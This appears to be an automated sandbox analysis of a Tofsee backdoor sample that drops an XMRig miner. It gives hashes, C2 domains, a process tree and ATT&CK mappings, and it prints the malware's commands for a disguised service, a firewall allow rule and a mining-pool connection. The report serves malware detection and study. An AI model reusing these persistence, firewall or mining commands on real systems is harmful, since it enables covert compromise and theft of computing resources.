Analysis

  • max time kernel
    146s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-05-2023 01:49

General

  • Target

    02ada88638528eb89e67ce30a88ca8a58efab167c389ffd893641459bc64666f.exe

  • Size

    234KB

  • MD5

    e9de43f24d8b6f5be55ef6971d3d14e5

  • SHA1

    ca701f416d520ed37a6b5103dc8358a53c896410

  • SHA256

    02ada88638528eb89e67ce30a88ca8a58efab167c389ffd893641459bc64666f

  • SHA512

    2ccddd5bda9366a0bd39fa2334ee27f4220816d69569d6d6f064e43ebe5e26c01fa17cfee17197c2e2151501b874ef1d88503a1e4ba40ca36f45e3c062ccdeba

  • SSDEEP

    3072:jVPQzmAd7g0wS/+NvCTrKxdOZIyp+Uq3urvbWUWNiHvv5+kQ54A5W4OCNZ:aBOSearQdN7KoOv8i6Z

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\02ada88638528eb89e67ce30a88ca8a58efab167c389ffd893641459bc64666f.exe
    "C:\Users\Admin\AppData\Local\Temp\02ada88638528eb89e67ce30a88ca8a58efab167c389ffd893641459bc64666f.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1500
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pfdypmnn\
      2⤵
        PID:460
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\aphotrwo.exe" C:\Windows\SysWOW64\pfdypmnn\
        2⤵
          PID:3644
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create pfdypmnn binPath= "C:\Windows\SysWOW64\pfdypmnn\aphotrwo.exe /d\"C:\Users\Admin\AppData\Local\Temp\02ada88638528eb89e67ce30a88ca8a58efab167c389ffd893641459bc64666f.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:964
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description pfdypmnn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1340
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start pfdypmnn
          2⤵
          • Launches sc.exe
          PID:3976
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:236
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1500 -s 1036
          2⤵
          • Program crash
          PID:1380
      • C:\Windows\SysWOW64\pfdypmnn\aphotrwo.exe
        C:\Windows\SysWOW64\pfdypmnn\aphotrwo.exe /d"C:\Users\Admin\AppData\Local\Temp\02ada88638528eb89e67ce30a88ca8a58efab167c389ffd893641459bc64666f.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2888
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:428
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4976
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2888 -s 532
          2⤵
          • Program crash
          PID:4372
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1500 -ip 1500
        1⤵
          PID:3692
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2888 -ip 2888
          1⤵
            PID:2320

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\aphotrwo.exe
            Filesize

            12.1MB

            MD5

            4dd0f0ec53597c7315d8d15d54631dde

            SHA1

            86bb05830928d80ebe6a817982368cf404df7013

            SHA256

            64807de3de892d287d42d018ec8cec7eecc4a3a4020c583227918b98e0567846

            SHA512

            19d4295078e19fc1e66456235df04c4fbee4c7517149ebd20d7d68bc739ada45fc582c8fd64191683ba541407b3d9872ac296c3070f7f10b2da5db65ea0a2273

          • C:\Windows\SysWOW64\pfdypmnn\aphotrwo.exe
            Filesize

            12.1MB

            MD5

            4dd0f0ec53597c7315d8d15d54631dde

            SHA1

            86bb05830928d80ebe6a817982368cf404df7013

            SHA256

            64807de3de892d287d42d018ec8cec7eecc4a3a4020c583227918b98e0567846

            SHA512

            19d4295078e19fc1e66456235df04c4fbee4c7517149ebd20d7d68bc739ada45fc582c8fd64191683ba541407b3d9872ac296c3070f7f10b2da5db65ea0a2273

          • memory/428-166-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-149-0x0000000002400000-0x000000000260F000-memory.dmp
            Filesize

            2.1MB

          • memory/428-140-0x0000000000550000-0x0000000000565000-memory.dmp
            Filesize

            84KB

          • memory/428-168-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-145-0x0000000000550000-0x0000000000565000-memory.dmp
            Filesize

            84KB

          • memory/428-170-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-148-0x0000000000550000-0x0000000000565000-memory.dmp
            Filesize

            84KB

          • memory/428-169-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-152-0x0000000002400000-0x000000000260F000-memory.dmp
            Filesize

            2.1MB

          • memory/428-153-0x0000000000D60000-0x0000000000D66000-memory.dmp
            Filesize

            24KB

          • memory/428-156-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-159-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-160-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-162-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-163-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-161-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-164-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-165-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-184-0x00000000027D0000-0x00000000027D7000-memory.dmp
            Filesize

            28KB

          • memory/428-167-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-143-0x0000000000550000-0x0000000000565000-memory.dmp
            Filesize

            84KB

          • memory/428-183-0x0000000007300000-0x000000000770B000-memory.dmp
            Filesize

            4.0MB

          • memory/428-180-0x0000000007300000-0x000000000770B000-memory.dmp
            Filesize

            4.0MB

          • memory/428-171-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-172-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-173-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-174-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-176-0x0000000001BF0000-0x0000000001BF5000-memory.dmp
            Filesize

            20KB

          • memory/428-175-0x0000000000D70000-0x0000000000D80000-memory.dmp
            Filesize

            64KB

          • memory/428-179-0x0000000001BF0000-0x0000000001BF5000-memory.dmp
            Filesize

            20KB

          • memory/1500-138-0x0000000000400000-0x00000000006B7000-memory.dmp
            Filesize

            2.7MB

          • memory/1500-135-0x00000000006C0000-0x00000000006D3000-memory.dmp
            Filesize

            76KB

          • memory/2888-146-0x0000000000400000-0x00000000006B7000-memory.dmp
            Filesize

            2.7MB

          • memory/4976-188-0x0000000000C50000-0x0000000000D41000-memory.dmp
            Filesize

            964KB

          • memory/4976-193-0x0000000000C50000-0x0000000000D41000-memory.dmp
            Filesize

            964KB

          • memory/4976-194-0x0000000000C50000-0x0000000000D41000-memory.dmp
            Filesize

            964KB

          • memory/4976-195-0x0000000000C50000-0x0000000000D41000-memory.dmp
            Filesize

            964KB

          • memory/4976-196-0x0000000000C50000-0x0000000000D41000-memory.dmp
            Filesize

            964KB

          • memory/4976-197-0x0000000000C50000-0x0000000000D41000-memory.dmp
            Filesize

            964KB

          • memory/4976-199-0x0000000000C50000-0x0000000000D41000-memory.dmp
            Filesize

            964KB

          • memory/4976-198-0x0000000000C50000-0x0000000000D41000-memory.dmp
            Filesize

            964KB